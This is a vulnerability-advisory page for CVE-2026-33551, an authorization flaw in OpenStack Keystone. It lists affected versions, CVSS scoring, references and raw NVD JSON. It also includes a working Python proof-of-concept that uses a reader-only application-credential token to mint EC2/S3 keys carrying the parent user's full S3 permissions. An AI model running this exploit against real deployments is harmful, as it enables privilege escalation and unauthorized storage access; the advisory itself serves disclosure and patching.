Security Vulnerability Report
中文
CVE-2026-33551 CVSS 3.5 LOW

CVE-2026-33551

Published: 2026-04-10 03:16:03
Last Modified: 2026-04-13 15:02:06

Description

An issue was discovered in OpenStack Keystone 14 through 26 before 26.1.1, 27.0.0, 28.0.0, and 29.0.0. Restricted application credentials can create EC2 credentials. By using a restricted application credential to call the EC2 credential creation API, an authenticated user with only a reader role may obtain an EC2/S3 credential that carries the full set of the parent user's S3 permissions, effectively bypassing the role restrictions imposed on the application credential. Only deployments that use restricted application credentials in combination with the EC2/S3 compatibility API (swift3 / s3api) are affected.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OpenStack Keystone 14.0.0 - 26.1.0 (before 26.1.1)
OpenStack Keystone 27.0.0
OpenStack Keystone 28.0.0
OpenStack Keystone 29.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33551: OpenStack Keystone Privilege Escalation # This script demonstrates how a restricted application credential # can be used to create a full-privilege EC2 credential. import requests import json # Configuration KEYSTONE_PUBLIC_URL = "https://your-openstack-api:5000/v3" # Token obtained from a restricted application credential (e.g., Reader role only) RESTRICTED_TOKEN = "gAAAAABk...restricted_token_here..." USER_ID = "1234567890abcdef1234567890abcdef" PROJECT_ID = "abcdef1234567890abcdef1234567890" def exploit_cve_2026_33551(): headers = { "X-Auth-Token": RESTRICTED_TOKEN, "Content-Type": "application/json", "Accept": "application/json" } # The endpoint to create EC2 credentials url = f"{KEYSTONE_PUBLIC_URL}/users/{USER_ID}/credentials/OS-EC2" payload = { "tenant_id": PROJECT_ID } print(f"[*] Attempting to create EC2 credential with restricted token...") print(f"[*] Target URL: {url}") try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 201: result = response.json() credential = result.get('credential', {}) access = credential.get('access') secret = credential.get('secret') print("[+] Success! EC2 Credential created.") print(f"[+] Access Key: {access}") print(f"[+] Secret Key: {secret}") print("[!] WARNING: This credential likely has full parent S3 permissions,") print("[!] bypassing the restrictions of the application credential.") else: print(f"[-] Failed to create credential. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": exploit_cve_2026_33551()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33551", "sourceIdentifier": "[email protected]", "published": "2026-04-10T03:16:02.723", "lastModified": "2026-04-13T15:02:06.187", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in OpenStack Keystone 14 through 26 before 26.1.1, 27.0.0, 28.0.0, and 29.0.0. Restricted application credentials can create EC2 credentials. By using a restricted application credential to call the EC2 credential creation API, an authenticated user with only a reader role may obtain an EC2/S3 credential that carries the full set of the parent user's S3 permissions, effectively bypassing the role restrictions imposed on the application credential. Only deployments that use restricted application credentials in combination with the EC2/S3 compatibility API (swift3 / s3api) are affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://bugs.launchpad.net/keystone/+bug/2142138", "source": "[email protected]"}, {"url": "https://security.openstack.org/ossa/OSSA-2026-005.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/07/12", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://bugs.launchpad.net/keystone/+bug/2142138", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}